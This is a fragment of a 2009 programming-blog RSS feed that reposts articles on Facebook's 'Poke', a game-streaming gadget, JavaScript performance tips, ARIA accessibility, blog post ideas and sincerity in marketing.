<p>      <img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/fa6db_1pPpK49W-ow" height="1" width="1" /><br />
<a href="http://feeds2.feedburner.com/appappealnewest">Go to Source</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.neurosoftware.ro/programming-blog/facebook-web-design/web-resources/wize/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Facebook in Real Life</title>
		<link>http://www.neurosoftware.ro/programming-blog/facebook-web-design/web-resources/facebook-in-real-life/</link>
		<comments>http://www.neurosoftware.ro/programming-blog/facebook-web-design/web-resources/facebook-in-real-life/#comments</comments>
		<pubDate>Fri, 27 Nov 2009 21:40:02 +0000</pubDate>
		<dc:creator>Facebook-Web-Design</dc:creator>
				<category><![CDATA[web resources]]></category>
		<category><![CDATA[braincells]]></category>
		<category><![CDATA[example]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[poke]]></category>
		<category><![CDATA[short message service]]></category>
		<category><![CDATA[social networking]]></category>
		<category><![CDATA[video]]></category>
		<category><![CDATA[what a wonderful world]]></category>

		<guid isPermaLink="false">http://www.neurosoftware.ro/programming-blog/facebook-web-design/web-resources/facebook-in-real-life/</guid>
		<description><![CDATA[What a wonderful world social networking really is. We can hide behind whatever we want and the ways we connect is just growing by the day. Weird ways to connect just doesn&#8217;t seem to affect us at all. For example&#8230;Facebook&#8217;s &#8220;Poke&#8221;. What is that about?? I mean, alright you want someones attention and therefor poke [...]]]></description>
			<content:encoded><![CDATA[<p>What a wonderful world social networking really is. We can hide behind whatever we want and the ways we connect is just growing by the day. Weird ways to connect just doesn&#8217;t seem to affect us at all. For example&#8230;Facebook&#8217;s &#8220;Poke&#8221;. What is that about?? I mean, alright you want someones attention and therefor poke them. But would you really do that in reality? Maybe if you knew the person really well but not if you don&#8217;t, right? Sometimes it feels like we&#8217;re inventing new ways to connect because otherwise we wouldn&#8217;t dear to.</p>
<p>For example, the new video commenting feature we have here at Bit Rebels now. Why are people so scared to use it? Well, it seems we like to hide behind our screen name and we pretty much do anything to keep it that way. So, the question really is if we will ever be able to evolve the way social networking is set up today. Social media today is all about connecting by text&#8230;really it is.</p>
<p>But, and that&#8217;s a big but&#8230;and not the one you might think of. What if Facebook&#8217;s features was for real. What if we actually did what we can do on Facebook without being embarrassed by the consequences. Well, that day will never come as we are all different and it will take a loooong time for it to change and for people to start thinking of it as the norm. However, if we could fast forward into the future where things really would be all about connecting through video commenting and/or even live through a short message service through video. What would it be like?</p>
<p>Until someone really put some braincells into this I guess we will just have to imagine it. But, there is someone who tried to visualize it and that&#8217;s &#8220;<em>Idiots of Ants</em>&#8220;. This is how Facebook would be in real life. Is this how we want it to be? I guess not&#8230;then why are we inventing features like &#8220;Poke&#8221; for example. Ha Ha. Enjoy!</p>
<p align="center">
<p><a href="http://feeds2.feedburner.com/bitrebels">Go to Source</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.neurosoftware.ro/programming-blog/facebook-web-design/web-resources/facebook-in-real-life/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Introducing the ‘Slingbox Of Games’ [Spawn HD-720 lets you play games over the internet, away from your gaming console]</title>
		<link>http://www.neurosoftware.ro/programming-blog/facebook-web-design/gadgets/introducing-the-%e2%80%98slingbox-of-games%e2%80%99-spawn-hd-720-lets-you-play-games-over-the-internet-away-from-your-gaming-console/</link>
		<comments>http://www.neurosoftware.ro/programming-blog/facebook-web-design/gadgets/introducing-the-%e2%80%98slingbox-of-games%e2%80%99-spawn-hd-720-lets-you-play-games-over-the-internet-away-from-your-gaming-console/#comments</comments>
		<pubDate>Wed, 25 Nov 2009 08:35:36 +0000</pubDate>
		<dc:creator>Facebook-Web-Design</dc:creator>
				<category><![CDATA[gadgets]]></category>
		<category><![CDATA[box]]></category>
		<category><![CDATA[business trip]]></category>
		<category><![CDATA[computer]]></category>
		<category><![CDATA[curiosities]]></category>
		<category><![CDATA[example]]></category>
		<category><![CDATA[games over the internet]]></category>
		<category><![CDATA[Read]]></category>
		<category><![CDATA[slingbox]]></category>
		<category><![CDATA[Spawn]]></category>
		<category><![CDATA[technology gadgets]]></category>
		<category><![CDATA[wonder]]></category>

		<guid isPermaLink="false">http://www.neurosoftware.ro/programming-blog/facebook-web-design/gadgets/introducing-the-%e2%80%98slingbox-of-games%e2%80%99-spawn-hd-720-lets-you-play-games-over-the-internet-away-from-your-gaming-console/</guid>
		<description><![CDATA[I wonder if the Spawn people really knew what they were getting into when they decided to make the Spawn HD-720. The box will connect your console to a remote PC, and will allow you to play games on the consoles, via your computer. The applications are limitless, for example , for those business trip [...]]]></description>
			<content:encoded><![CDATA[<p><img class="size-full wp-image-23389 aligncenter" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/ed628_spawnbox.jpg" alt="spawnbox" width="400" height="228" /></p>
<p>I wonder if the Spawn people really knew what they were getting into when they decided to make the Spawn HD-720. The box will connect your console to a remote PC, and will allow you to play games on the consoles, via your computer. The applications are limitless, for example , for those business trip nights spent in a hotel room, or possibly if the wife kicks you off the HDTV with the Xbox.</p>
<p>(&#8230;)<br />Read the rest of <a href="http://nexus404.com/Blog/2009/11/24/introducing-the-slingbox-of-games-spawn-hd-720-lets-you-play-games-over-the-internet-away-from-your-gaming-console/">Introducing the &#8216;Slingbox Of Games&#8217; [Spawn HD-720 lets you play games over the internet, away from your gaming console]</a></p>
<hr />
<p>© <a href="http://nexus404.com/Blog">TFTS &#8211; Technology, Gadgets &amp; Curiosities</a>, 2009. |<br />
<a href="http://nexus404.com/Blog/2009/11/24/introducing-the-slingbox-of-games-spawn-hd-720-lets-you-play-games-over-the-internet-away-from-your-gaming-console/">Permalink</a> |<br />
<a href="http://nexus404.com/Blog/2009/11/24/introducing-the-slingbox-of-games-spawn-hd-720-lets-you-play-games-over-the-internet-away-from-your-gaming-console/#comments">No comment</a> |<br />
Add to<br />
<a href="http://del.icio.us/post?url=http://nexus404.com/Blog/2009/11/24/introducing-the-slingbox-of-games-spawn-hd-720-lets-you-play-games-over-the-internet-away-from-your-gaming-console/&amp;title=Introducing the ‘Slingbox Of Games’ [Spawn HD-720 lets you play games over the internet, away from your gaming console]">del.icio.us</a>
</p>
<div>
<a href="http://feeds.feedburner.com/~ff/ThoughtsFromTheSidelines?a=AK1U9l9hppw:_dgv-LdsNQs:yIl2AUoC8zA"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/ed628_ThoughtsFromTheSidelines?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ThoughtsFromTheSidelines?a=AK1U9l9hppw:_dgv-LdsNQs:UT3xtbGYFzA"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/1ce09_ThoughtsFromTheSidelines?d=UT3xtbGYFzA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ThoughtsFromTheSidelines?a=AK1U9l9hppw:_dgv-LdsNQs:I9og5sOYxJI"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/1ce09_ThoughtsFromTheSidelines?d=I9og5sOYxJI" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ThoughtsFromTheSidelines?a=AK1U9l9hppw:_dgv-LdsNQs:7Q72WNTAKBA"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/1ce09_ThoughtsFromTheSidelines?d=7Q72WNTAKBA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ThoughtsFromTheSidelines?a=AK1U9l9hppw:_dgv-LdsNQs:V_sGLiPBpWU"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/1ce09_ThoughtsFromTheSidelines?i=AK1U9l9hppw:_dgv-LdsNQs:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ThoughtsFromTheSidelines?a=AK1U9l9hppw:_dgv-LdsNQs:qj6IDK7rITs"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/68131_ThoughtsFromTheSidelines?d=qj6IDK7rITs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ThoughtsFromTheSidelines?a=AK1U9l9hppw:_dgv-LdsNQs:gIN9vFwOqvQ"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/68131_ThoughtsFromTheSidelines?i=AK1U9l9hppw:_dgv-LdsNQs:gIN9vFwOqvQ" border="0"></img></a>
</div>
<p><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/68131_AK1U9l9hppw" height="1" width="1" /><br />
<a href="http://feeds.feedburner.com/ThoughtsFromTheSidelines">Go to Source</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.neurosoftware.ro/programming-blog/facebook-web-design/gadgets/introducing-the-%e2%80%98slingbox-of-games%e2%80%99-spawn-hd-720-lets-you-play-games-over-the-internet-away-from-your-gaming-console/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Full Frontal ‘09: Jake Archibald on Performance Optimisation</title>
		<link>http://www.neurosoftware.ro/programming-blog/facebook-web-design/web-resources/full-frontal-%e2%80%9809-jake-archibald-on-performance-optimisation/</link>
		<comments>http://www.neurosoftware.ro/programming-blog/facebook-web-design/web-resources/full-frontal-%e2%80%9809-jake-archibald-on-performance-optimisation/#comments</comments>
		<pubDate>Fri, 20 Nov 2009 19:05:56 +0000</pubDate>
		<dc:creator>Facebook-Web-Design</dc:creator>
				<category><![CDATA[web resources]]></category>
		<category><![CDATA[bitwise]]></category>
		<category><![CDATA[bitwise operations]]></category>
		<category><![CDATA[brain teaser]]></category>
		<category><![CDATA[crockford]]></category>
		<category><![CDATA[DOM
Jake]]></category>
		<category><![CDATA[DOM]]></category>
		<category><![CDATA[DOM Level]]></category>
		<category><![CDATA[Doug Crockford]]></category>
		<category><![CDATA[eval]]></category>
		<category><![CDATA[example]]></category>
		<category><![CDATA[hex codes]]></category>
		<category><![CDATA[Jake]]></category>
		<category><![CDATA[JavaScript]]></category>

		<guid isPermaLink="false">http://www.neurosoftware.ro/programming-blog/facebook-web-design/web-resources/full-frontal-%e2%80%9809-jake-archibald-on-performance-optimisation/</guid>
		<description><![CDATA[Jake explains no-one likes waiting, and people are multi-threaded (except when they have to sneeze). Yet, we&#8217;re stuck with a single-threaded language for the most part; and we still face the legacy of a DOM standard from another era (DOM Level 1 &#8211; 1997). This talk provides some optimisation tips, backed by Jake&#8217;s cross-browser experiments. [...]]]></description>
			<content:encoded><![CDATA[<p>Jake explains no-one likes waiting, and people are multi-threaded (except when they have to sneeze). Yet, we&#8217;re stuck with a single-threaded language for the most part; and we still face the legacy of a DOM standard from another era (DOM Level 1 &#8211; 1997). This talk provides some optimisation tips, backed by Jake&#8217;s cross-browser experiments.</p>
<p><a href="http://jakearchibald.co.uk/jsperformance/">Jake&#8217;s slides and research are online.</a></p>
<h3>Optimise Where it Matters</h3>
<p>Jake explains the importance of speeding things up where it really matters.</p>
<p>Doug Crockford has pointed out that in Javascript, bitwise operations aren&#8217;t close to the hardware, which stands in contrast to other languages. In fact, if you look at it, bitwise operations can still be faster than alternative operations; Jake shows an example where bitwise parsing of hex codes is faster than bitwise. The question is, how much faster. In many cases, such as this example, you&#8217;re energy is better spent on optimising big things.</p>
<h3>Avoid eval() Where Possible</h3>
<p>Jake says avoid eval() where possible. Thinking about what functions eval, here&#8217;s a brain teaser: what will the following output?</p>
<div><a href="showCodeTxt('javascript-3');">PLAIN TEXT</a></div>
<div><span>JAVASCRIPT:</span></p>
<div>
<div>
<ol>
<li>
<div>&nbsp;</div>
</li>
<li>
<div><span>var</span> msg = <span>&#8220;spatchcock&#8221;</span>;</div>
</li>
<li>
<div><span>function</span> doStuff<span>&#40;</span><span>&#41;</span> <span>&#123;</span></div>
</li>
<li>
<div>&nbsp; <span>alert</span><span>&#40;</span>msg<span>&#41;</span>;</div>
</li>
<li>
<div>&nbsp; <span>if</span> <span>&#40;</span><span>false</span><span>&#41;</span> <span>&#123;</span></div>
</li>
<li>
<div>&nbsp; &nbsp; <span>var</span> msg=<span>&#8220;spotted dick&#8221;</span>;</div>
</li>
<li>
<div>&nbsp; <span>&#125;</span></div>
</li>
<li>
<div><span>&#125;</span></div>
</li>
<li>
<div>&nbsp;</div>
</li>
</ol>
</div>
</div>
</div>
<p>Wait for it &#8230; the answer is &#8220;undefined&#8221;. Javascript does look ahead and create space for the local variable. So during the running of the function, there&#8217;s no need to allocate space for the variable and the browser can optimise for that, but if you use &#8220;eval&#8221;, the optimisation goes away. So avoid eval().</p>
<h3>Prefer innerHTML to DOM</h3>
<p>Jake shows a comparison of innerHTML versus DOM Level 1. In IE, DOM manipulation is much slower, because of the sync process between the two. The differential gets even worse when creating elements. Webkit has optimised sync between HTML and DOM, hence less difference, so it&#8217;s not as bad, but create example is still slower with DOM. So from a performance perspective, best practice is construct the HTML and use innerHTML.</p>
<h3>Selectors</h3>
<p>It&#8217;s educational to look at the implementation of selector libraries. Jake shows a comparison &#8211; IE7 is vastly more slow in this case. It doesn&#8217;t support getElementsByClassName, querySelectorAll, evaluate; and it does support getElementById, but that&#8217;s not used by sizzle for this query. So getElementsByTagName is all that&#8217;s left; and if you knew that, and the implications, you could have made the query much faster.</p>
<h3>Benchmarking</h3>
<p>Pretty simple.</p>
<div><a href="showCodeTxt('javascript-4');">PLAIN TEXT</a></div>
<div><span>JAVASCRIPT:</span></p>
<div>
<div>
<ol>
<li>
<div>&nbsp;</div>
</li>
<li>
<div><span>var</span> duration;</div>
</li>
<li>
<div>start = <span>new</span> Date<span>&#40;</span><span>&#41;</span></div>
</li>
<li>
<div>thingToTest<span>&#40;</span><span>&#41;</span>;</div>
</li>
<li>
<div>duration = <span>new</span> Date<span>&#40;</span><span>&#41;</span> &#8211; start;</div>
</li>
<li>
<div>&nbsp;</div>
</li>
</ol>
</div>
</div>
</div>
<p>However, timing isn&#8217;t so accurate, so stick it in a function and run it many times.</p>
<p>Too easy &#8230; so go benchmark and report your findings.</p>
<div>
<a href="http://feeds.feedburner.com/~ff/ajaxian?a=jMSznGOYIf0:ITlKP3pLJGk:yIl2AUoC8zA"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/b5b28_ajaxian?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ajaxian?a=jMSznGOYIf0:ITlKP3pLJGk:7Q72WNTAKBA"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/b5b28_ajaxian?d=7Q72WNTAKBA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ajaxian?a=jMSznGOYIf0:ITlKP3pLJGk:D7DqB2pKExk"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/b5b28_ajaxian?i=jMSznGOYIf0:ITlKP3pLJGk:D7DqB2pKExk" border="0"></img></a>
</div>
<p><a href="http://feeds2.feedburner.com/ajaxian">Go to Source</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.neurosoftware.ro/programming-blog/facebook-web-design/web-resources/full-frontal-%e2%80%9809-jake-archibald-on-performance-optimisation/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Full Frontal ‘09: Todd Kloots on ARIA and Acessibility</title>
		<link>http://www.neurosoftware.ro/programming-blog/facebook-web-design/web-resources/full-frontal-%e2%80%9809-todd-kloots-on-aria-and-acessibility/</link>
		<comments>http://www.neurosoftware.ro/programming-blog/facebook-web-design/web-resources/full-frontal-%e2%80%9809-todd-kloots-on-aria-and-acessibility/#comments</comments>
		<pubDate>Fri, 20 Nov 2009 19:05:37 +0000</pubDate>
		<dc:creator>Facebook-Web-Design</dc:creator>
				<category><![CDATA[web resources]]></category>
		<category><![CDATA[ARIA]]></category>
		<category><![CDATA[ARIA Today]]></category>
		<category><![CDATA[example]]></category>
		<category><![CDATA[keyboard focus]]></category>
		<category><![CDATA[mail]]></category>
		<category><![CDATA[perception]]></category>
		<category><![CDATA[screenreader]]></category>
		<category><![CDATA[Screenreaders]]></category>
		<category><![CDATA[support]]></category>
		<category><![CDATA[support keyboard]]></category>
		<category><![CDATA[text javascript]]></category>
		<category><![CDATA[Todd]]></category>
		<category><![CDATA[Todd Kloots]]></category>
		<category><![CDATA[YUI]]></category>

		<guid isPermaLink="false">http://www.neurosoftware.ro/programming-blog/facebook-web-design/web-resources/full-frontal-%e2%80%9809-todd-kloots-on-aria-and-acessibility/</guid>
		<description><![CDATA[Todd Kloots is talking accessibility and ARIA, with examples showing how YUI nicely supports these techniques. He explains how to improve in three areas: perception, usability, discoverability. Can We Do ARIA Today? Yes. Firefox and IE (he didn&#8217;t say which version) have really good support for ARIA. And Opera, Chrome, and Safari. Likewise for the [...]]]></description>
			<content:encoded><![CDATA[<p>Todd Kloots is talking accessibility and ARIA, with examples showing how YUI nicely supports these techniques. He explains how to improve in three areas: perception, usability, discoverability.</p>
<h3>Can We Do ARIA Today?</h3>
<p>Yes.</p>
<p>Firefox and IE (he didn&#8217;t say which version) have really good support for ARIA. And Opera, Chrome, and Safari. Likewise for the screenreaders &#8211; JAWS, Windows Eyes, NVDA &#8211; also have good support. An the libraries &#8211; YUI, Dojo, JQuery-UI &#8211; all have good support baked in, one of the benefits of using ARIA is automatic support.</p>
<h3>Improving Perception &#8211; ARIA and Screenreaders</h3>
<p>Websites can have problems in perception when rendered with a screenreader; it&#8217;s hard to get the big picture about what the words refer to. With ARIA, we can close the gap in perception. This is another example of progressive enhancement &#8211; augment the item by adding properties, markup or Javascript if required:</p>
<div><a href="showCodeTxt('javascript-7');">PLAIN TEXT</a></div>
<div><span>JAVASCRIPT:</span></p>
<div>
<div>
<ol>
<li>
<div>&nbsp;</div>
</li>
<li>
<div>node.<span>setAttribute</span><span>&#40;</span><span>&#8220;role&#8221;</span>, <span>&#8220;menu&#8221;</span><span>&#41;</span></div>
</li>
<li>
<div>node.<span>role</span> = <span>&#8220;menu&#8221;</span> <span>// alternative introduced by IE8. IE-only, so don&#8217;t use!</span></div>
</li>
<li>
<div>&nbsp;</div>
</li>
</ol>
</div>
</div>
</div>
<h3>Improving Usability &#8211; Keyboard Focus, ARIA, and YUI support</h3>
<p>Keyboard access. For some people, it&#8217;s a necessity, and for others it&#8217;s still an option or preference (think Vim). To support it, you must be able to tab to the element to get focus, so you should control tabbing with tabindex. A good application of controlling tabbing is, amazingly enough, moving through tabs. Another is modal dialogs; the browser doesn&#8217;t &#8220;know&#8221; it&#8217;s modal, so we have to control focus to make sure it doesn&#8217;t slip out of the thing that&#8217;s the only thing users should be able to click on!</p>
<p>Todd shows us just how many steps are required to perform a task in a complex application like Yahoo! mail, using just tabs to navigate through &#8211; 19 steps in this example, walking through the toolbar; and even more, when you consider the wider picture of entering the app in the first place. To help with this, he introduces a pattern whereby tabIndexes are updated dynamically to control what comes next, as you move through a toolbar. A negative tabIndex will ensure the element is skipped over.</p>
<p>You can also use the &#8220;focus&#8221; pseudoclass to ensure focus appearance is consistent for all elements. But, and it&#8217;s a big one, it&#8217;s not very well supported; even IE8 doesn&#8217;t support :focus on &lt;a&gt;, for example. Doing it manually with Javascript has problems, in particular performance. Fortunately, PPK has worked out how to handle focus and blur with <a href="http://www.quirksmode.org/blog/archives/2008/04/delegating_the.html">event delegation</a>, so that it&#8217;s much more performant, and the resulting technique is built into YUI3.</p>
<p>Device-independence with markup was also advocated to further improve accessibility:</p>
<div><a href="showCodeTxt('html-8');">PLAIN TEXT</a></div>
<div><span>HTML:</span></p>
<div>
<div>
<ol>
<li>
<div>&nbsp;</div>
</li>
<li>
<div><span><a href="http://december.com/html/4/element/input.html"><span>&lt;input</span></a> role=<span>&#8220;menuitem&#8221;</span> <span>type</span>=<span>&#8220;text/&gt;</span></div>
</li>
<li>
<div>&nbsp;</span></div>
</li>
</ol>
</div>
</div>
</div>
<h3>Improving Discoverability &#8211; ARIA</h3>
<p>Essentially, this is about &#8220;random access&#8221; and keyboard shortcuts; jumping straight to areas in this page and activating them. The key ARIA feature here is &#8220;landmark roles&#8221; to identify particular points on the page. This is still something where users aren&#8217;t aware of the feature, and Todd points out it&#8217;s not surprising as most screen reader users are self-taught (just under 75% according to the study he showed). Also, not every user is a geek, and the same applies to screen-reader users.</p>
<div>
<a href="http://feeds.feedburner.com/~ff/ajaxian?a=3dPeepb8y-Q:19qaQDm9txE:yIl2AUoC8zA"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/4e98b_ajaxian?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ajaxian?a=3dPeepb8y-Q:19qaQDm9txE:7Q72WNTAKBA"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/4e98b_ajaxian?d=7Q72WNTAKBA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/ajaxian?a=3dPeepb8y-Q:19qaQDm9txE:D7DqB2pKExk"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/2e5ea_ajaxian?i=3dPeepb8y-Q:19qaQDm9txE:D7DqB2pKExk" border="0"></img></a>
</div>
<p><a href="http://feeds2.feedburner.com/ajaxian">Go to Source</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.neurosoftware.ro/programming-blog/facebook-web-design/web-resources/full-frontal-%e2%80%9809-todd-kloots-on-aria-and-acessibility/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>10 Post Ideas To Give Your Blog A Boost</title>
		<link>http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/10-post-ideas-to-give-your-blog-a-boost/</link>
		<comments>http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/10-post-ideas-to-give-your-blog-a-boost/#comments</comments>
		<pubDate>Tue, 17 Nov 2009 08:45:22 +0000</pubDate>
		<dc:creator>BlogPoster</dc:creator>
				<category><![CDATA[web resources]]></category>
		<category><![CDATA[article]]></category>
		<category><![CDATA[Candy]]></category>
		<category><![CDATA[diggers]]></category>
		<category><![CDATA[example]]></category>
		<category><![CDATA[follow ups]]></category>
		<category><![CDATA[page views]]></category>
		<category><![CDATA[photoshop tutorials]]></category>
		<category><![CDATA[post]]></category>
		<category><![CDATA[rebels]]></category>
		<category><![CDATA[Richard]]></category>
		<category><![CDATA[topic]]></category>
		<category><![CDATA[Write]]></category>

		<guid isPermaLink="false">http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/10-post-ideas-to-give-your-blog-a-boost/</guid>
		<description><![CDATA[A few weeks ago I wrote a post called How To: Get Rid of Writer’s Block http://bit.ly/95rUM. As a follow up to that post, I would like to share with you ten blog post ideas to give your creativity and your blog traffic a little boost! These are ideas that always seem to work well [...]]]></description>
			<content:encoded><![CDATA[<p>A few weeks ago I wrote a post called How To: Get Rid of Writer’s Block <a href="http://bit.ly/95rUM">http://bit.ly/95rUM</a>.  As a follow up to that post, I would like to share with you ten blog post ideas to give your creativity and your blog traffic a little boost!</p>
<p>These are ideas that always seem to work well for me and the other writers here at Bit Rebels.  If you stroll through the posts on this site, you’ll find examples of all of these.  If you have some post ideas that have worked well for you, please share them in a comment below!</p>
<p>Good luck and happy posting!</p>
<p>1.  <strong>Write a Follow Up to an Earlier, Popular Post</strong> – This article is an example of a follow up.  Follow ups work well because they give you an opportunity to go into a topic in more detail.  If you write a follow up to an article that was already popular, you know you’ll most likely spark some interest again.</p>
<p>2.  <strong>Give Away Secrets</strong> – Your readers will love it if you give away some of your secrets.  Examples of this on Bit Rebels are all of <a href="http://www.twitter.com/Minervity">@Minervity’s </a>Photoshop tutorials.  I’ve seen designers tweet Richard and say, “Hey man, you are giving away all of our secrets!” And, yes, he is.  Give away some valuable information!</p>
<p>3.  <strong>Interview Someone Interesting</strong> – Interviews are great because, if done correctly, they almost always provide captivating content for your readers.  You’ll see the interviews on this site all have great page views.  The quality of your interview will be based on the quality of your questions.</p>
<p>4.  <strong>Write a Rant</strong> – Ok, this is one I haven’t done myself because I’m not a very good “ranter,” however, rants, if not too negative, typically do very well.  My friend, <a href="http://www.twitter.com/ShellyKramer">@ShellyKramer</a>, is a great example of someone who rants well and her posts always get great page views.  Here is a link to her blog so you can see what I’m referring to:  <a href="http://v3im.com/blog/">http://v3im.com/blog/</a></p>
<p>5.  <strong>Create Digg Bait</strong> – My friend, <a href="http://www.twitter.com/BuzzEdition">@BuzzEdition</a>, who is very active in the Digg community gave me some great insight. According to her, “Diggers love unique. You simply can&#8217;t get by with duplication. Diggers love content, but they don&#8217;t want to read it twice. They read more content daily than most people consume in a week, so be brave and try to find a creative way to present a topic. Make them laugh or shock them, but make it brand new!”</p>
<p>We all know that the comments from diggers are the most entertaining, so it’s always fun to intentionally cast that bait into the water. This article of mine has over 1,200 diggs and almost 54,000 views, and it is an example of a good digg article: “How To: Correctly Eat A Chicken Wing <a href="http://bit.ly/IHAbp">http://bit.ly/IHAbp</a>”</p>
<p align="center"><img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/2e641_post-ideas-2.jpg" alt="" /></p>
<p>6.  <strong>Create Some Visual Eye Candy</strong> – I am a very visually stimulated person.  I love browsing Flickr for ideas.  I also love writing posts around a photograph that is inspiring to me.  This is an example of one of those posts: “20 Ways to Stimulate Your Own Creativity <a href="http://retwt.me/1xzG3">http://retwt.me/1xzG3</a>” I fell in love with that main image that someone obviously spent some time creating in Photoshop.  I wrote the post around the image.  Remember to give credit for the photo in your post when you try this!</p>
<p>7.  <strong>Write a Post with a List</strong> – I’ve read that psychologically, people are more likely to view the post if there is a number in the title.  For example, “5 reasons…” or “8 ways to…”  This is the reason that “Top 10 lists” always seem to do well.  Try writing a post list style.</p>
<p>8.  <strong>Write a Strategically Organized Facts/Statistics Post</strong> – Many times there are stats and facts about a particular topic that are scattered over many different websites.  A person would have to find each one of those sites to get the complete overview of a product or hot topic.  If you can organize the information from all those different sites into one useful post, it will do very well.  You’ll see some examples of that here on Bit Rebels.</p>
<p>9.  <strong>Write About An Opinion That You Have That Is Different From The Masses</strong> – This type of article always seems to get great page views.  For example, I love my Android 2.0 phone much better than my iPhone.  It is hands down superior to me.  This opinion does not follow the masses, so I plan to write an article with facts to back up my opinion.  I’m confident it will do well and I hope it is the catalyst for some great conversations.</p>
<p>10. <strong>Write a Post About Post Ideas!</strong> <img src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/e2c4d_icon_wink.gif" alt=";)" class="wp-smiley" /> </p>
<p>I would like to credit the trial&#8217;s photostream for the fabulous” pencils” main image in this post.  You can check out his Flickr photostream here: <a href="http://www.flickr.com/photos/thetrial">http://www.flickr.com/photos/thetrial</a></p>
<p><a href="http://feeds2.feedburner.com/bitrebels">Go to Source</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/10-post-ideas-to-give-your-blog-a-boost/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>The ‘Secret Sauce’ for Effective Marketing</title>
		<link>http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/the-%e2%80%98secret-sauce%e2%80%99-for-effective-marketing/</link>
		<comments>http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/the-%e2%80%98secret-sauce%e2%80%99-for-effective-marketing/#comments</comments>
		<pubDate>Tue, 17 Nov 2009 06:27:05 +0000</pubDate>
		<dc:creator>BlogPoster</dc:creator>
				<category><![CDATA[web resources]]></category>
		<category><![CDATA[business]]></category>
		<category><![CDATA[business climate]]></category>
		<category><![CDATA[client]]></category>
		<category><![CDATA[example]]></category>
		<category><![CDATA[marketing]]></category>
		<category><![CDATA[public sentiment]]></category>
		<category><![CDATA[quality human beings]]></category>
		<category><![CDATA[relationship development]]></category>
		<category><![CDATA[role of marketing]]></category>
		<category><![CDATA[sincerity]]></category>

		<guid isPermaLink="false">http://www.neurosoftware.ro/programming-blog/blogposter/web-resources/the-%e2%80%98secret-sauce%e2%80%99-for-effective-marketing/</guid>
		<description><![CDATA[A couple years ago, I was talking with someone who was, for me, a very challenging client. I&#8217;m all about cultivating relationships that result in opportunities to sell. This particular client seemed allergic to cultivating relationships for reasons I never really understood. I remember one such meeting, I was trying to explain to my client [...]]]></description>
			<content:encoded><![CDATA[<p><img class="size-full wp-image-4744 alignleft" src="http://www.neurosoftware.ro/programming-blog/wp-content/plugins/wp-o-matic/cache/ff5e0_marketing.jpg" alt="marketing" width="214" height="121" />A couple years ago, I was talking with someone who was, for me, a very challenging client. I&#8217;m all about cultivating relationships that result in opportunities to sell.</p>
<p>This particular client seemed allergic to cultivating relationships for reasons I never really understood.</p>
<p>I remember one such meeting, I was trying to explain to my client the wisdom of first creating trust and credibility before trying to get a sale. And my client was blocking me at every turn with reasons why relationship development would not work for their business.</p>
<p>It was maddening.<span></span></p>
<p>Finally, I cried with exasperation, &#8220;Well, why the heck do you want to keep working with me since my approach doesn&#8217;t work for you?&#8221;</p>
<p>&#8220;Because you&#8217;re sincere,&#8221; the client replied.</p>
<p>&#8220;Who cares&#8221; I thought to myself since it didn&#8217;t seem to be to helping my client grow their business.</p>
<p>Since that time I&#8217;ve changed my mind about the quality of sincerity. I think it&#8217;s impossible to have sustainably effective marketing without sincerity.</p>
<p>The Importance of Being Sincere</p>
<p>The word, &#8220;sincere&#8221; is derived from the Latin word, &#8220;sincerus,&#8221; meaning whole, pure, genuine.</p>
